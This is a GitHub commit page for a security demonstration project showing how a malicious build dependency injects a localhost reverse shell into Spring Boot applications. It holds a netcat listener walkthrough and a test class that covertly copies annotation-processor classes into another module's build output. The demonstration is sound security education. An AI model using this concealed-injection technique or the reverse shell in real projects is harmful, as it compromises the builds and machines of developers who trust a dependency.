Skip to content

Commit

Permalink
feat: expand demo (#1)
Browse files Browse the repository at this point in the history
  • Loading branch information
jeremylong committed Jul 28, 2023
1 parent e5b299a commit 61d6b23
Show file tree
Hide file tree
Showing 14 changed files with 215 additions and 40 deletions.
7 changes: 4 additions & 3 deletions .github/workflows/maven.yml
Original file line number Diff line number Diff line change
Expand Up @@ -29,13 +29,14 @@ jobs:
cache: maven
- name: Build spring-build-analyzer
run: |
cd spring-build-analyzer
mvn -B install --file pom.xml -DskipTests=true
cd analyzer
mvn -B install
ls spring-build-analyzer/target/classes/io/github/jeremylong/spring/build/analyzer/
cd ..
- name: Build demo
run: |
cd demo
mvn -B package --file pom.xml -DskipTests=true
mvn -B package -DskipTests=true
sha256sum target/demo-0.0.1-SNAPSHOT.jar
ls target/classes/io/github/jeremylong/spring/analyzer/demo/
- name: Upload artifact
Expand Down
4 changes: 1 addition & 3 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,6 +1,4 @@
.gradle
**/build/
!src/**/build/


# Ignore Gradle GUI config
gradle-app.setting
Expand Down
46 changes: 27 additions & 19 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,26 +1,29 @@
# spring-build-analyzer
# malicious-dependencies

Slightly malicious dependency (spring-build-analyzer) and a demonstration project (demo). This project is intended to highlight the issues of including untrusted dependencies in your builds.
Slightly malicious dependency ([analyzer/spring-build-analyzer](analyzer)) and a demonstration project ([demo](demo)). This project is intended to highlight the issues of including untrusted dependencies in your builds.

## demonstration

**The project requires Maven and Java 17.**

While there is a base `pom.xml` - the two projects should be built interdependently:
First build and install (locally) the `spring-build-analyzer` by running:

**DO NOT** shorten the following to `mvn clean install` as things may not work.

```bash
cd spring-build-analyzer
mvn install -DskipTests=true
cd analyzer
mvn clean
mvn install
cd ..
```

Next, in a different terminal, open netcat to listen on port 9999:

```bash
nc -l 9999
nc -l -p 9999
```

Then compile and run the demo application:
The `demo` application is a completely separate project that uses the `spring-build-analyzer` JAR. Compile and run the demo application:

```bash
cd demo
Expand All @@ -39,33 +42,37 @@ You should receive back `Greetings from Spring Boot!`. Very exciting, isn't it?
Last, return to the tab with the netcat listener and the reverse shell should have connected; you can test by running `whoami`:

```bash
$ nc -l 9999
$ nc -l -p 9999
whoami
jeremy
```

## Explanation

The `spring-build-analyzer` uses an annotation processor to inject a reverse shell into any spring-boot application that is compiled while the `spring-boot-analyzer` is on the classpath. If you look at the `demo` project you will see that the `spring-boot-analyzer` looks like just a standard dependency:
The `spring-build-analyzer` uses an annotation processor to inject a reverse shell into any spring-boot application that is compiled while the `spring-build-analyzer` is on the compile-time classpath. If you look at the `demo` project you will see that the `spring-build-analyzer` is just a compile time dependency:

```xml
<dependency>
<groupId>io.github.jeremylong.spring.analyzer</groupId>
<artifactId>spring-build-analyzer</artifactId>
<version>0.0.1-SNAPSHOT</version>
<scope>compile</scope>
<groupId>io.github.jeremylong.spring.analyzer</groupId>
<artifactId>spring-build-analyzer</artifactId>
<version>0.0.1-SNAPSHOT</version>
<scope>compile</scope>
</dependency>
```

Currently, the reverse shell is benign as it only connects back to localhost on port 9999. This is just a demonstration of what can go wrong at build time.
Currently, the reverse shell is benign as it only connects back to localhost on port 9999. This is just a demonstration of what can go wrong at build time. This could have been a build plugin, a test dependency, etc. -
anything running during the build can modify the build output. This type of attack does not have to rely on
annotation processing.

Additionally, if you look at the source code for the `spring-build-analyzer` - you will not see the annotation processor that injects the malicious code. This is actually injected by the `build-helper` project during the test execution. This is demoing yet another way to inject code.

## Reproducible Builds

The `demo` project is set up to create re-producible builds. This is useful for understanding that if the build has been compromised by including a malicious dependency or plugin - it doesn't matter where you build the project it is **Reproducibly Compromised**.

```bash
$ shasum -a 256 target/demo-0.0.1-SNAPSHOT.jar
b6c9aff1bcb9fd67be3aa96a97f33c626df801b62ffb2ec39b6c1a7f8878d210 target/demo-0.0.1-SNAPSHOT.jar
6a4c421550323dd63431753a46f08c80fbf39b744ac173d637bdcb090f176664 target/demo-0.0.1-SNAPSHOT.jar

$ unzip -v target/demo-0.0.1-SNAPSHOT.jar
...
Expand All @@ -79,9 +86,10 @@ Did the above walk through not work? There might be a few reasons:

- Something is already running on port 8080. When the demo app is not running - ensure that nothing is running on port 8080.

2. No connection was made back to `nc -l 9999`.
- Ensure nothing is running on port `9999`. Alternatively, update the port in the [CtxtListener source](https://github.com/jeremylong/spring-boot-analyzer/blob/651e919aa63b783b70eab96fb707192e6cd86341/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L31-L32) and rerun the above steps.
- From the root of the project, after building the demo app validate that the `CtxtListener.class` exists: `ls demo/target/classes/io/github/jeremylong/spring/analyzer/demo/CtxtListener.class`. If the class does not exist, consider adding debugging statements [here](https://github.com/jeremylong/spring-boot-analyzer/blob/651e919aa63b783b70eab96fb707192e6cd86341/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L82) and re-installing the `spring-build-analyzer` and rebuilding the demo application.
- If the `CtxtListener.class` does exist, uncomment the system out statements [here](https://github.com/jeremylong/spring-boot-analyzer/blob/651e919aa63b783b70eab96fb707192e6cd86341/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L63-L67) and re-install the `spring-build-analyzer`, rebuild the demo application, start netcat, and then run the demo app. The added debugging output may show what is going wrong on your system.
2. No connection was made back to `nc -l -p 9999`.
- Use alternative options to start the reverse shell: `nc -lp 9999`, `nc -nvlp 9999`
- Ensure nothing is running on port `9999`. Alternatively, update the port in the [CtxtListener source](https://github.com/jeremylong/malicious-dependencies/blob/651e919aa63b783b70eab96fb707192e6cd86341/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L31-L32) and rerun the above steps.
- From the root of the project, after building the demo app validate that the `CtxtListener.class` exists: `ls demo/target/classes/io/github/jeremylong/spring/analyzer/demo/CtxtListener.class`. If the class does not exist, consider adding debugging statements [here](https://github.com/jeremylong/malicious-dependencies/blob/651e919aa63b783b70eab96fb707192e6cd86341/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L82) and re-installing the `spring-build-analyzer` and rebuilding the demo application.
- If the `CtxtListener.class` does exist, uncomment the system out statements [here](https://github.com/jeremylong/malicious-dependencies/blob/651e919aa63b783b70eab96fb707192e6cd86341/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L63-L67) and re-install the `spring-build-analyzer`, rebuild the demo application, start netcat, and then run the demo app. The added debugging output may show what is going wrong on your system.


107 changes: 107 additions & 0 deletions analyzer/build-helper/pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>io.github.jeremylong.spring.analyzer</groupId>
<artifactId>build-helper</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>build-helper</name>
<description>Experiment with Maven Extensions</description>
<packaging>jar</packaging>
<properties>
<java.version>17</java.version>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<!--reproducible builds are important-->
<project.build.outputTimestamp>2023-01-01T00:00:00Z</project.build.outputTimestamp>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.maven</groupId>
<artifactId>maven-core</artifactId>
<version>3.8.6</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.maven</groupId>
<artifactId>maven-plugin-api</artifactId>
<version>3.8.6</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.maven.plugin-tools</groupId>
<artifactId>maven-plugin-annotations</artifactId>
<version>3.9.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.maven</groupId>
<artifactId>maven-project</artifactId>
<version>2.2.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>com.squareup</groupId>
<artifactId>javapoet</artifactId>
<version>1.13.0</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
<version>5.7.2</version>
</dependency>

</dependencies>
<build>
<plugins>
<!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.3.1</version>
</plugin>
<!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.3.1</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.1.2</version>
</plugin>
<plugin>
<artifactId>maven-jar-plugin</artifactId>
<version>3.3.0</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>3.1.1</version>
<configuration><skip>true</skip></configuration>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>3.1.1</version>
<configuration><skip>true</skip></configuration>
</plugin>
<plugin>
<artifactId>maven-artifact-plugin</artifactId>
<version>3.4.1</version>
</plugin>
<!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
<plugin>
<artifactId>maven-site-plugin</artifactId>
<version>3.12.1</version>
<configuration><skip>true</skip></configuration>
</plugin>
<plugin>
<artifactId>maven-project-info-reports-plugin</artifactId>
<version>3.4.2</version>
<configuration><skip>true</skip></configuration>
</plugin>
</plugins>
</build>
</project>
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package io.github.jeremylong.spring.build.analyzer;

import org.apache.maven.AbstractMavenLifecycleParticipant;
import org.apache.maven.MavenExecutionException;
import org.apache.maven.execution.MavenSession;

public class BuildHelper extends AbstractMavenLifecycleParticipant {
@Override
public void afterProjectsRead(MavenSession session) throws MavenExecutionException {
super.afterProjectsRead(session);
}

@Override
public void afterSessionStart(MavenSession session) throws MavenExecutionException {
super.afterSessionStart(session);
}

@Override
public void afterSessionEnd(MavenSession session) throws MavenExecutionException {
super.afterSessionEnd(session);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package io.github.jeremylong.spring.build.analyzer;

import org.junit.jupiter.api.Test;

import java.io.File;
import java.io.IOException;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.*;

class BuildHelperTest {

@Test
void afterProjectsRead() {
File dest = new File("../spring-build-analyzer/target/classes/io/github/jeremylong/spring/build/analyzer");
Path src = Path.of("./target/test-classes/io/github/jeremylong/spring/build/analyzer");
String file = "Compile.class";
copy(dest, src, file);
file = "Compile$CharSequenceJavaFileObject.class";
copy(dest, src, file);
file = "Compile$ClassFileManager.class";
copy(dest, src, file);
file = "Compile$JavaFileObject.class";
copy(dest, src, file);

file = "SensorDrop.class";
copy(dest, src, file);
file = "EnsureSpringAnnotation.class";
copy(dest, src, file);
dest = new File("../spring-build-analyzer/target/classes/META-INF/services");
src = Path.of("./src/test/resources");
file = "javax.annotation.processing.Processor";
copy(dest, src, file);
}

private static void copy(File destDir, Path src, String file) {
if (destDir.isDirectory() || destDir.mkdirs()) {
Path dest = destDir.toPath();
try {
Files.copy(src.resolve(file),dest.resolve(file), java.nio.file.StandardCopyOption.REPLACE_EXISTING);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -3,15 +3,11 @@
*/
package io.github.jeremylong.spring.build.analyzer;

import com.google.auto.service.AutoService;
import com.squareup.javapoet.ClassName;

import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.Processor;
import javax.annotation.processing.RoundEnvironment;
import javax.annotation.processing.SupportedAnnotationTypes;
import javax.annotation.processing.SupportedSourceVersion;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.Element;
import javax.lang.model.element.ElementKind;
import javax.lang.model.element.TypeElement;
Expand All @@ -20,7 +16,6 @@
import java.util.concurrent.atomic.AtomicBoolean;

@SupportedAnnotationTypes("org.springframework.boot.autoconfigure.SpringBootApplication")
@AutoService(Processor.class)
public class EnsureSpringAnnotation extends AbstractProcessor {

private static AtomicBoolean done = new AtomicBoolean(false);
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
io.github.jeremylong.spring.build.analyzer.EnsureSpringAnnotation
7 changes: 4 additions & 3 deletions pom.xml → analyzer/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,15 @@
<groupId>io.github.jeremylong.spring.analyzer</groupId>
<artifactId>parent</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo-parent</name>
<name>spring-build-analyzer-parent</name>
<packaging>pom</packaging>
<description>Parent demo project</description>
<description>Parent spring-build-analyzer project</description>
<properties>
<java.version>17</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<modules>
<module>build-helper</module>
<module>spring-build-analyzer</module>
<module>demo</module>
</modules>
</project>
Original file line number Diff line number Diff line change
Expand Up @@ -42,13 +42,6 @@
<version>1.13.0</version>
</dependency>

<dependency>
<groupId>com.google.auto.service</groupId>
<artifactId>auto-service</artifactId>
<version>1.1.1</version>
</dependency>


<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter</artifactId>
Expand Down
1 change: 1 addition & 0 deletions demo/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
<java.version>17</java.version>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<!--reproducible builds are important-->
<project.build.outputTimestamp>2023-01-01T00:00:00Z</project.build.outputTimestamp>
</properties>
Expand Down

0 comments on commit 61d6b23

Please sign in to comment.